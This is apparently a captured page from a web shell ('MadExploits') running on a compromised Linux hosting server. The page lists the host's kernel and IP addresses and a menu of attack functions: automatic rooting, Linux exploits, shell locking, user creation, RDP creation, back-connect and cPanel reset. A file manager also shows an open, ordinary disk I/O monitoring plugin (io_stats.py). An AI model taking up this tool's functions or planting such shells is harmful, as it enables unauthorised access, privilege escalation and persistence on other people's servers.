Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.129.195.254
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
fm-agent /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
apache.py
19.06
KB
-rw-r--r--
apache_kafka.py
12.9
KB
-rw-r--r--
apache_zookeeper.py
6.26
KB
-rw-r--r--
bandwidth.py
21.3
KB
-rw-r--r--
cassandra.py
9.21
KB
-rw-r--r--
cert.py
2.78
KB
-rw-r--r--
couch.py
9.5
KB
-rw-r--r--
cpu_usage.py
33
KB
-rw-r--r--
dem_plugin.py
6.08
KB
-rw-r--r--
disk.py
16.48
KB
-rw-r--r--
docker.py
38.41
KB
-rw-r--r--
elasticsearch.py
2.83
KB
-rw-r--r--
entropy.py
900
B
-rw-r--r--
exim.py
1.01
KB
-rw-r--r--
file_presence.py
5
KB
-rw-r--r--
haproxy.py
13.37
KB
-rw-r--r--
io_stats.py
13.41
KB
-rw-r--r--
jboss.py
13.46
KB
-rw-r--r--
jmx.py
8.02
KB
-rw-r--r--
linux_logs.py
3.4
KB
-rw-r--r--
lm_sensors.py
2.51
KB
-rw-r--r--
logstash_forwarder.py
1.58
KB
-rw-r--r--
memcache.py
5.99
KB
-rw-r--r--
memory_usage.py
26.11
KB
-rw-r--r--
mongo.py
15.96
KB
-rw-r--r--
mysql.py
19.74
KB
-rw-r--r--
nagios.py
5.36
KB
-rw-r--r--
nginx.py
11.96
KB
-rw-r--r--
nodejs.py
6.29
KB
-rw-r--r--
ntp.py
1.98
KB
-rw-r--r--
opcache.py
2.26
KB
-rw-r--r--
oracle.py
15.15
KB
-rw-r--r--
package_upgrade.py
8.08
KB
-rw-r--r--
phpfpm.py
5.51
KB
-rw-r--r--
ping.py
2.45
KB
-rw-r--r--
postfix.py
1.98
KB
-rw-r--r--
postgresql.py
19.13
KB
-rw-r--r--
process.py
16.32
KB
-rw-r--r--
rabbitmq.py
19.33
KB
-rw-r--r--
redis.py
11.19
KB
-rw-r--r--
sendmail.py
2.39
KB
-rw-r--r--
sysctl.py
1.46
KB
-rw-r--r--
tcp.py
6.26
KB
-rw-r--r--
template.py
3.28
KB
-rw-r--r--
tomcat.py
6.79
KB
-rw-r--r--
tomcat_jmx.py
15.82
KB
-rw-r--r--
unbound_dns.py
4.54
KB
-rw-r--r--
uptime.py
3.46
KB
-rw-r--r--
users.py
1.09
KB
-rw-r--r--
uwsgi.py
4.57
KB
-rw-r--r--
varnish.py
4.79
KB
-rw-r--r--
weblogic.py
13.38
KB
-rw-r--r--
weblogic12c.py
18.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : io_stats.py
import agent_util from sys import platform, exc_info import logging import re from agent_util import float class DevicePathManager: def __init__(self, execute_function=None): if not execute_function: self._execute_function = agent_util.execute_command else: self._execute_function = execute_function try: command = 'lsblk --pairs' if 'darwin' in platform: disk_util = agent_util.which('diskutil') command = '{} list'.format(disk_util) self._output = self._execute_function(command) self._output = self._output[1].split('\n') except Exception: logging.exception("Error getting devices") self._output = [] def find_path(self, device): if 'darwin' in platform: for line in self._output: if line.startswith('/'): mp =line.split(' ')[0] if mp[len('/dev/'):]== device: return mp return None else: for line in self._output: expression = r'^NAME="(%s)".*MOUNTPOINT="(.*)"$' % (device) match = re.match(expression, line) if match: matched_mountpoint = match.groups()[1] if matched_mountpoint == '': # Some devices don't show a mountpoint, in those # cases, return the same device. return device else: return matched_mountpoint class IOStatPlugin(agent_util.Plugin): textkey = "iostat" label = "IO" metrics_list = ["rrqm/s", "wrqm/s", "r/s", "w/s", "svctm", "rkB/s", "wkB/s", "%w", "%b", "wait", "actv", "kr/s", "kw/s", "svc_t", "%util"] metrics_labels = {"rrqm/s": "Read requests queued", "wrqm/s": "Write requests queued", "r/s": "Read requests", "w/s": "Write requests", "svctm": "Average I/O request service time", "%w": "% of time transactions are waiting", "%b": "Percent of time the disk is busy", "wait": "Average transactions waiting for service", "actv": "Average transactions being serviced", "kr/s": "Data read rate", "kw/s": "Data write rate", "svc_t": "Average response time", "%util": "% of I/O CPU time", } metrics_units = {"rrqm/s": "requests/second", "wrqm/s": "requests/second", "r/s": "requests/second", "w/s": "requests/second", "svctm": "ms", "%w": "percent", "%b": "percent", "wait": "transactions", "actv": "transactions", "kr/s": "KB/s", "kw/s": "KB/s", "svc_t": "Average response time", "%util": "% of I/O CPU time", } darwinMetricsMap = { 'kbpt' : 'KB/t', 'tps' : 'tps', 'mbps' : 'MB/s' } @classmethod def get_metadata(self, config): status = agent_util.SUPPORTED msg = None iostat_bin = agent_util.which("iostat") if not iostat_bin: self.log.info("iostat not found") status = agent_util.MISCONFIGURED msg = "Install iostat." return {} self.log.debug("Starting IOStat") # get our devices to monitor devices = [] data = {} output = None header = [] options_schema = { 'resource': 'string', 'mountpoint': 'string' } device_path_manager = DevicePathManager() if 'hp-ux' in platform: ret, out = agent_util.execute_command("%s | sed '/^loop/d' " % iostat_bin) lines = out.strip().splitlines() for line in lines: if line.startswith('device') or line == '' or not line: continue device = line.split()[0] mountpoint = device_path_manager.find_path(device) devices.append({ 'resource': device, 'mountpoint': mountpoint, }) self.log.debug("Devices found: %s" % devices) metdata = { "bps": { "label": "kilobytes per second", "options": devices, "status": status, "error_message": msg, "unit": "kb", "options_schema": options_schema }, "sps": { "label": "disk seeks per second", "options": devices, "status": status, "error_message": msg, "unit": "", "options_schema": options_schema }, } return metdata elif 'darwin' in platform: ret, out = agent_util.execute_command("%s -d" % iostat_bin) if 0 != ret: status = agent_util.MISCONFIGURED msg = 'iostat failure code {}'.format(ret) else: lines = out.strip().splitlines() devs = lines[0].strip().split() for device in devs: mp = device_path_manager.find_path(device) if mp: devices.append({ 'resource' : device, 'mountpoint' : mp }) else: status = agent_util.MISCONFIGURED msg = 'Could not map device' break metadata = { 'kbpt' : { 'label' : 'Kilobytes per transfer', 'options' : devices, 'status' : status, 'error_msg' : msg, 'unit' : 'KB/s', 'options_schema' : options_schema }, 'tps' : { 'label' : 'Transfers per second', 'options' : devices, 'status' : status, 'error_msg' : msg, 'unit' : 'transfers/s', 'options_schema' : options_schema }, 'mbps' : { 'label' : 'Megabytes per second', 'options' : devices, 'status' : status, 'error_msg' : msg, 'unit' : 'MB/s', 'options_schema' : options_schema } } return metadata else: ret_code, output = agent_util.execute_command("%s -dx | sed '/^loop/d' " % iostat_bin) output = output.strip().splitlines() self.log.debug('#####################################################') self.log.debug("IO stats command '%s -dx' output:" % iostat_bin) self.log.debug(str(output)) self.log.debug('#####################################################') for line in reversed(output): if line.lower().startswith('device'): header = line.split() break fields = line.strip().split() dev = fields[0] if dev.lower().startswith('dm-'): continue mountpoint = device_path_manager.find_path(dev) devices.append({ 'resource': dev, 'mountpoint': mountpoint }) self.log.debug("Devices: %s" % str(devices)) # no devices? no resources to monitor then if not devices: status = agent_util.MISCONFIGURED msg = "No devices found from iostat." for metric in header: self.log.debug("###########\nMetric: %s" % str(metric)) if metric in self.metrics_list: self.log.debug("metric %s has the index value of %s" % (str(metric), str(header.index(metric)))) data[str(metric)] = {"label": self.metrics_labels.get(str(metric), str(metric)), "options": devices, "options_schema": options_schema, "status": status, "error_message": msg} if str(metric) in self.metrics_units: data[str(metric)]["unit"] = self.metrics_units.get(str(metric)) return data def check(self, textkey, device, config): metrics_index = {} iostat_bin = agent_util.which("iostat") second_line = False header_line = 2 if "freebsd" in platform: header_line = 1 if 'sunos' in platform: second_line = True ret, output = agent_util.execute_command("%s -dx 1 2 | sed '/^loop/d'" % (iostat_bin), cache_timeout=agent_util.DEFAULT_CACHE_TIMEOUT) header = output.strip().splitlines()[1].split() elif 'hp-ux' in platform: ret, out = agent_util.execute_command("iostat 1 2 | sed '/^loop/d'", cache_timeout=agent_util.DEFAULT_CACHE_TIMEOUT) lines = out.strip().splitlines() previously_seen = False for line in lines: line = line.strip() if previously_seen is False and line.startswith(device): previously_seen = True self.log.debug("Found first instance of disk %s" % device) elif previously_seen is True and line.startswith(device): self.log.debug("Found second instance of disk %s" % device) self.log.debug(line) l = line.split() if textkey == 'bps': return float(l[1]) elif textkey == 'sps': return float(l[2]) else: return None elif 'darwin' in platform: try: outputKey = self.darwinMetricsMap.get(textkey, None) if outputKey is None: raise Exception('Unrecognized textkey {}'.format(textkey)) ret, output = agent_util.execute_command( '%s -d -c 2'% iostat_bin, cache_timeout=agent_util.DEFAULT_CACHE_TIMEOUT ) if 0 != ret: raise Exception('iostat failure, error {}'.format(ret)) metricsCount = len(self.darwinMetricsMap) lines = output.strip().split('\n') if 4 != len(lines): self.log.error('Unrecognized iostat output') self.log.error(output) raise Exception('Unrecognized iostat output') devices = lines[0].split() metrics = lines[1].split() metric_values = lines[3].split() devIndex = devices.index(device) si = devIndex * metricsCount ei = si + metricsCount deviceMetrics = metrics[si:ei] di = deviceMetrics.index(outputKey) return float(metric_values[si:ei][di]) except Exception: err = exc_info()[1] error = str(err) self.log.error( 'Collection error {}, {}: {}'.format( device, textkey, error )) return None else: second_line = True cmd_to_run = "%s -dx 1 2 | sed '/^loop/d'" % (iostat_bin) ret, output = agent_util.execute_command(cmd_to_run, cache_timeout=agent_util.DEFAULT_CACHE_TIMEOUT) if ret != 0: self.log.error('{} failed with status {}'.format(cmd_to_run, ret)) return None header = output.strip().splitlines()[header_line].split() splitted_lines = output.strip().split('\n') full = list(filter(lambda x: re.match(r'^%s .*$' % (device), x), splitted_lines)) if full: if second_line: full = full[1] else: full = full[0] else: self.log.error('Device %s could not be found in output!' % device) return None if not header: self.log.error("Device %s no longer exists!" % device) return None for metric in header: self.log.debug("###########\nMetric: %s" % str(metric)) if metric in self.metrics_list: metrics_index[str(metric)] = header.index(str(metric)) self.log.debug('#####################################################') self.log.debug("IO stats command '%s -dx %s 1 2' output:" % (iostat_bin, device)) self.log.debug(str(full)) self.log.debug('#####################################################') self.log.debug("iostat -dx output: %s" % str(output)) j = full.strip().split() if device in j[0]: return float(j[int(metrics_index[str(textkey.split('.')[-1])])]) return 0
Close